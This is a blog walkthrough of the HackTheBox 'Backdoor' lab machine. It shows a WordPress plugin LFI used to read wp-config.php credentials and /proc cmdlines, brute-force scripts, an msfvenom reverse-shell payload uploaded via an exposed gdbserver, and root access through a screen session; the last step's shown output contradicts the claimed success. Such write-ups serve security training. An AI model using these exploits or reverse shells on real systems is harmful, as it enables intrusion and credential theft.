[HackTheBox] Backdoor

[HackTheBox] Backdoor

https://app.hackthebox.com/machines/Backdoor

·

11 min read

Footprinting

Open ports

Nmap SYN scan:

$ sudo nmap -sS -p- -Pn -v10 -oA syn_full 10.10.11.125
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
1337/tcp open  waste   syn-ack ttl 63
$ sudo nmap -sC -sV -p80,135,445,5985 -Pn -v10 -oA nse 10.10.11.125
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDqz2EAb2SBSzEIxcu+9dzgUZzDJGdCFWjwuxjhwtpq3sGiUQ1jgwf7h5BE+AlYhSX0oqoOLPKA/QHLxvJ9sYz0ijBL7aEJU8tYHchYMCMu0e8a71p3UGirTjn2tBVe3RSCo/XRQOM/ztrBzlqlKHcqMpttqJHphVA0/1dP7uoLCJlAOOWnW0K311DXkxfOiKRc2izbgfgimMDR4T1C17/oh9355TBgGGg2F7AooUpdtsahsiFItCRkvVB1G7DQiGqRTWsFaKBkHPVMQFaLEm5DK9H7PRwE+UYCah/Wp95NkwWj3u3H93p4V2y0Y6kdjF/L+BRmB44XZXm2Vu7BN0ouuT1SP3zu8YUe3FHshFIml7Ac/8zL1twLpnQ9Hv8KXnNKPoHgrU+sh35cd0JbCqyPFG5yziL8smr7Q4z9/XeATKzL4bcjG87sGtZMtB8alQS7yFA6wmqyWqLFQ4rpi2S0CoslyQnighQSwNaWuBYXvOLi6AsgckJLS44L8LxU4J8=
|   256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIuoNkiwwo7nM8ZE767bKSHJh+RbMsbItjTbVvKK4xKMfZFHzroaLEe9a2/P1D9h2M6khvPI74azqcqnI8SUJAk=
|   256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB7eoJSCw4DyNNaFftGoFcX4Ttpwf+RPo0ydNk7yfqca
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Backdoor – Real-Life
|_http-generator: WordPress 5.8.1
1337/tcp open  waste?  syn-ack ttl 63
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

Enumerating the web server's resources shows it contains common Wordpress directories:

$ ffuf -t 500 -c -w /usr/share/seclists/Discovery/Web-Content/raft-large-words-lowercase.txt -u http://10.10.11.125/FUZZ -fc 403 -recursion -recursion-depth 5
$ jq 'del(.results[]|select(.status==403,.status==301))|.results[]|.url' ffuf.json
"http://10.10.11.125/"
"http://10.10.11.125/wp-includes/"
"http://10.10.11.125/wp-content/"
"http://10.10.11.125/wp-admin/"
[...]
"http://10.10.11.125/wp-includes/blocks/video/"
"http://10.10.11.125/wp-admin/css/colors/"
"http://10.10.11.125/wp-admin/js/widgets/"

Down the rabbit holes

From the login page, we can brute-force the user as the error is too verbose via the following Python script:

#!/usr/bin/env python3
import requests
import sys

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("[-] Usage: ./main.py '<WORDLIST>'")
    else:
        with open(sys.argv[1], 'r') as f:
            wordlist = f.read().splitlines()

        url = "http://10.10.11.125/wp-login.php"
        for username in wordlist:
            data = {
                'log': username,
                'pwd': 'foo',
                'wp-submit': 'Log+In',
                'redirect_to': 'http://10.10.11.125/wp-admin/',
                'testcookie': 1
            }
            cookies = dict(wordpress_test_cookie='WP%20Cookie%20check')
            req = requests.post(url=url, data=data, timeout=5, cookies=cookies)
            if not "is not registered on this site" in req.text:
                print(f'[+] Found username: {username}')
            #import pdb;pdb.set_trace()
$ ./wp_login_bf.py /usr/share/seclists/Usernames/top-usernames-shortlist.txt
[+] Found username: admin

However, the admin's password couldn't be brute-forced using known wordlists, for example:

$ wpscan --url http://backdoor.htb/ -U admin -P /usr/share/wordlists/rockyou.txt  --cookie-string "wordpress_test_cookie=WP Cookie check"

Then, I found a redirection to backdoor.htb in the website, and added the domain name in /etc/hosts:

$ sudo vim /etc/hosts
10.10.11.125    backdoor.htb

In the blog, there is an article written by admin, which we discovered it exists from the login page.

LFI Plugins Exploit

Actually, I should have begin that way: looking for Wordpress plugins.

In particular, the plugin ebook-download is vulnerable to LFI ! This allows attackers to read the files in the web server:

Indeed, the source code of the vulnerable filedownload.php script is:

>>>
GET /wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=./filedownload.php HTTP/1.1
Host: backdoor.htb

<<<
echo $ebookdownloadurl = ( isset( $_GET['ebookdownloadurl'] ) ) ? $_GET['ebookdownloadurl']: '';
echo $ebookdownloadurl = htmlspecialchars($ebookdownloadurl);
echo $ebookdownloadurl = strip_tags($ebookdownloadurl);
if($ebookdownloadurl){   
  $path = parse_url($ebookdownloadurl, PHP_URL_PATH);  
  $file_name = basename($path); 

  header('Content-Type: application/octet-stream');
  header("Content-Transfer-Encoding: Binary"); 
  header("Content-disposition: attachment; filename=\"".$file_name."\""); 
  readfile($ebookdownloadurl);
}

In particular, the readfile function processes an untrusted and unsanitized input. Indeed, its input simply comes from the ebookdownloadurl GET parameter:

  echo $ebookdownloadurl = ( isset( $_GET['ebookdownloadurl'] ) ) ? $_GET['ebookdownloadurl']: '';
  [...]
  readfile($ebookdownloadurl);

Therefore, we could read web server's files via that parameter we control. Among the most interesting Wordpress files to read:

/readme.html
/license.txt
/wp-content/uploads/
/wp-login.php
/wp-admin.php
/wp-config.php
/wp-settings.php

We may, for example, retrieve the wp-config.php file, which contains the Wordpress's database credentials:

>>>
GET /wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php HTTP/1.1
Host: backdoor.htb

<<<
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Content-Transfer-Encoding: Binary
Content-disposition: attachment; filename="&lt;"
Content-Type: application/octet-stream

[...]
define( 'DB_USER', 'wordpressuser' );
define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' );
[...]

After some hours trying to escalate from LFI to RCE, I remembered the Nmap SYN scan showed that a leet port was opened:

1337/tcp open  waste   syn-ack ttl 63

What is running on port 1337 ?

A service is running on port 1337. Then, using the LFI vulnerability, we must be able read the file /proc/<PID>/cmdline file which contains the command line used to run the service.

For example, from the context of the web site, apache2 is running in the self process. Then, its process files are stored in /proc/self, and /proc/self/cmdline shows that /usr/sbin/apache2 command has been used to start the web server:

>>>
GET /wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/self/cmdline HTTP/1.1
Host: backdoor.htb

<<<
[...]cmdline/usr/sbin/apache2<script>window.close[...]

What about that 1337 port ? Let's brute force the PIDs !

#!/usr/bin/env python3
import requests
import re

if __name__ == "__main__":
    url = "http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php"
    for pid in range(100000):
        req = requests.get(url=url, params={'ebookdownloadurl':f'/proc/{pid}/cmdline'})
        res = re.findall(rf".*cmdline(.*)<script>window.close.*", req.text, re.DOTALL)[0]
        if res != "":
            print(f'cmdline of PID {pid}: "{res}"')

I used re.findall function to extract the command line from the response.

$ ./cmdline_bf.py
[...]
cmdline of PID 875: "/usr/sbin/CRON-f"
cmdline of PID 894: "/bin/sh-cwhile true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done"
cmdline of PID 896: "/bin/sh-cwhile true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done"
cmdline of PID 902: "sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups"
cmdline of PID 920: "/usr/lib/accountsservice/accounts-daemon"
cmdline of PID 933: "/usr/sbin/apache2-kstart"
[...]

Here it is ! gdbserver :p

Gdb server

We can exploit gdb to get a remote shell using msfvenom. First, let's send the payload to the remote GDB server:

$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=4444 PrependFork=true -f elf -o j4mgdbserv3r.elf
$ chmod +x j4mgdbserv3r.elf
$ gdb j4mgdbserv3r.elf
(gdb)> target extended-remote 10.10.11.125:1337
(gdb)> remote put j4mgdbserv3r.elf j4mgdbserv3r.elf
Successfully sent file "j4mgdbserv3r.elf"

I listened on port LPORT for incoming connections:

$ nc -nlvp 4444
listening on [any] 4444 ...

Finally,executing the uploaded remote payload gives us a reverse shell !

(gdb)> set remote exec-file j4mgdbserv3r.elf
(gdb)> run
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.125] 45340
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ pwd
/home/user

Local privilege escalation

user

First, let's improve our shell:

$ python3 -c 'import pty; pty.spawn("/bin/bash")'

The user flag is stored in our home folder:

$ ls
j4mgdbserv3r.elf
user.txt
$ cat user.txt
f63[...]2ec

Down the rabbit holes

We see a MySQL server is running locally:

$ ss -tuplan |grep "127.0.0.1"
tcp  LISTEN  0  151  127.0.0.1:3306  0.0.0.0:*                                                                                  
tcp  LISTEN  0  70   127.0.0.1:33060  0.0.0.0:*

We can run local MySQL commands locally with the credentials we found earlier in wp-config.php:

$ mysql -u wordpressuser --password='MQYBJSaD#DxG6qbm' -h localhost -e "SHOW DATABASES;"
mysql: [Warning] Using a password on the command line interface can be insecure.
Database
information_schema
wordpress

$ mysql -u wordpressuser --password='MQYBJSaD#DxG6qbm' -h localhost -e "USE wordpress; SELECT table_name FROM information_schema.tables;"
[...]
wp_usermeta
wp_users

The wp_users table discloses no interesting information:

$ mysql -u wordpressuser --password='MQYBJSaD#DxG6qbm' -h localhost -e "USE wordpress; SELECT * FROM wp_users;"
mysql: [Warning] Using a password on the command line interface can be insecure.
ID      user_login      user_pass       user_nicename   user_email      user_url        user_registered user_activation_key     user_status     display_name
1       admin   $P$Bt8c3ivanSGd2TFcm3HV/9ezXPueg5.      admin   admin@wordpress.com     http://backdoor.htb     2021-07-24 13:19:11             0       admin

Indeed, the admin's password, hashed using a Portable PHP password hashing framework, couldn't be cracked via Hascat:

$ hashcat -h |grep ' 400 '
    400 | phpass     | Generic KDF
$ hashcat -m 400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

The idea here was to find the user's password, in order to run sudo -l for potential privilege escalations.

Screen

The services ran by root are:

$ ps -faux |grep ^root
[...]
root         836  0.0  0.1   6812  2892 ?        Ss   15:34   0:00 /usr/sbin/cron -f
root         838  0.0  0.1   8352  3416 ?        S    15:34   0:00  \_ /usr/sbin/CRON -f
root         863  0.0  0.0   2608   612 ?        Ss   15:34   0:00  |   \_ /bin/sh -c while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done
root        3430  0.0  0.1   8404  3872 ?        S    15:49   0:00  |       \_ su user -c cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;
root         839  0.0  0.1   8352  3416 ?        S    15:34   0:00  \_ /usr/sbin/CRON -f
root         860  0.0  0.0   2608  1668 ?        Ss   15:34   0:00      \_ /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
root        4622  0.0  0.0   5476   532 ?        S    15:57   0:00          \_ sleep 1
[...]
root         907  0.0  0.9 194048 18528 ?        Ss   15:34   0:00 /usr/sbin/apache2 -k start
[...]
root         970  0.0  0.1   6952  2400 ?        Ss   15:34   0:00 SCREEN -dmS root
root         972  0.0  0.2   8272  5144 pts/0    Ss+  15:34   0:00  \_ -/bin/bash

In particular, there are 2 root cron jobs:

root         836  0.0  0.1   6812  2892 ?        Ss   15:34   0:00 /usr/sbin/cron -f
root         838  0.0  0.1   8352  3416 ?        S    15:34   0:00  \_ /usr/sbin/CRON -f
root         863  0.0  0.0   2608   612 ?        Ss   15:34   0:00  |   \_ /bin/sh -c while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done
root        3430  0.0  0.1   8404  3872 ?        S    15:49   0:00  |       \_ su user -c cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;
root         839  0.0  0.1   8352  3416 ?        S    15:34   0:00  \_ /usr/sbin/CRON -f
root         860  0.0  0.0   2608  1668 ?        Ss   15:34   0:00      \_ /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
root        4622  0.0  0.0   5476   532 ?        S    15:57   0:00          \_ sleep 1

We already exploited the first one to get a reverse shell (gdbserver). Let's have a look at the second root process named screen:

root         828  0.0  0.1   8356  3372 ?        S    17:50   0:00  \_ /usr/sbin/CRON -f
root         852  0.0  0.0   2608  1756 ?        Ss   17:50   0:00      \_ /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done
root       11555  0.0  0.0   5476   588 ?        S    18:53   0:00          \_ sleep 1

A quick research about screen reveals the followings:

screen command in Linux provides the ability to launch and use multiple shell sessions from a single ssh session. When a process is started with screen, the process can be detached from session & then can reattach the session at a later time. When the session is detached, the process that was originally started from the screen is still running and managed by the screen itself. The process can then re-attach the session at a later time, and the terminals are still there, the way it was left.

Back to the cron job, it runs a screen session named root:

$ find /var/run/screen/S-root/ -empty -exec screen -dmS root

Let's note that screen has the SUID bit set:

$ ls -l /usr/bin/screen
-rwsr-xr-x 1 root root 474280 Feb 23  2021 /usr/bin/screen

Nevertheless, the privilege escalation techniques in GTFOBins doesn't help.

However, this means that we may attach to some session as root.

Screen attachment

Knowing the root process executes:

$ screen -dmS root \;

I looked for these options in the screen's manual:

$ man screen

       -d|-D [pid.tty.host]
            does not start screen, but detaches the elsewhere running screen session

       -d -m   Start  screen in "detached" mode

       -S sessionname
            When creating a new session, this option can be used to specify a meaningful  name  for  the  session.
            This  name  identifies  the session for "screen -list" and "screen -r" actions. It substitutes the de‐
            fault [tty.host] suffix.
$ screen -h
-dmS name     Start as daemon: Screen session in detached mode.
-m            ignore $STY variable, do create a new screen session.
-S sockname   Name this session <pid>.sockname instead of <pid>.<tty>.<host>.

Basically, it starts the process in detached mode (-d) with a session name of root (-S). In the context of our current user, no screen session is running:

$ screen -list
No Sockets found in /run/screen/S-user.

Then, let's do some tests with our own screen session:

$ screem -dmS jamarir

We see our session is running:

$ screen -list
There is a screen on:
        25263.jamarir   (<DATE>)     (Detached)
1 Socket in /run/screen/S-user.

$ ls /var/run/screen/S-user
25263.jamarir

But when I tried to attach to the session, I got an error:

$ screen -r jamarir
Please set a terminal type.

This error can be solved by setting the TERM environment variable to screen:

$ export TERM=screen

Finally, we can attach to our session, using one of the following command:

$ screen -r jamarir
$ screen -r 25263
$ screen -r 25263.jamarir
> whoami
user

root

However, it doesn't work with the root session :/

$ screen -r root
There is no screen to be resumed matching root.

Reading the manual again and again, I see that:

The session name must be <PID>.<SESSION_NAME> if a session runs multiple screen.

Then, I tried to replace root by <pid>.root:

$ alias pp='ps aux | grep ^root |grep "sleep 1" |tail -1 |sed -n "s/^\w\+\s\+\(\S\+\).*$/\1/p"'
$ screen -r $(pp).root
There is no screen to be resumed matching 22620.

Still not working !!

Let's note that the root screen session is effectively running:

$ ls -lR /var/run/screen 2>/dev/null
/var/run/screen:
total 0
drwx------ 2 root root 60 Feb  9 18:34 S-root
drwx------ 2 user user 40 Feb  9 19:58 S-user

Looking back at the screen options:

$ screen -h
-D -RR        Do whatever is needed to get a screen session.
-r [session]  Reattach to a detached screen process.
-R            Reattach if possible, otherwise start a new session.
-S sockname   Name this session <pid>.sockname instead of <pid>.<tty>.<host>.
-x            Attach to a not detached screen. (Multi display mode).
-X            Execute <cmd> as a screen command in the specified session.

We see -x should attach to a session that is still running (i.e. not detached):

$ screen -x root
There is no screen to be attached matching 2932.root.

The manual shows there are 2 ways to connect to a screen session:

$ man screen
SYNOPSIS
       screen [ -options ] [ cmd [ args ] ]
       screen -r [[pid.]tty[.host]]
       screen -r sessionowner/[[pid.]tty[.host]]

The first one (using the PID) didn't work. Regarding the second method, we see -r should at least contain sessionowner/. In other words, the following didn't work (without /):

$ screen -r root
There is no screen to be resumed matching root.

Whereas the following work (with /):

$ screen -r root/
There is no screen to be resumed matching root.

Here is the root flag :)

> ls /root
root.txt
> cat /root/root.txt
93a[...]a88

ippsec walkthrough

Did you find this article valuable?

Support jamarir by becoming a sponsor. Any amount is appreciated!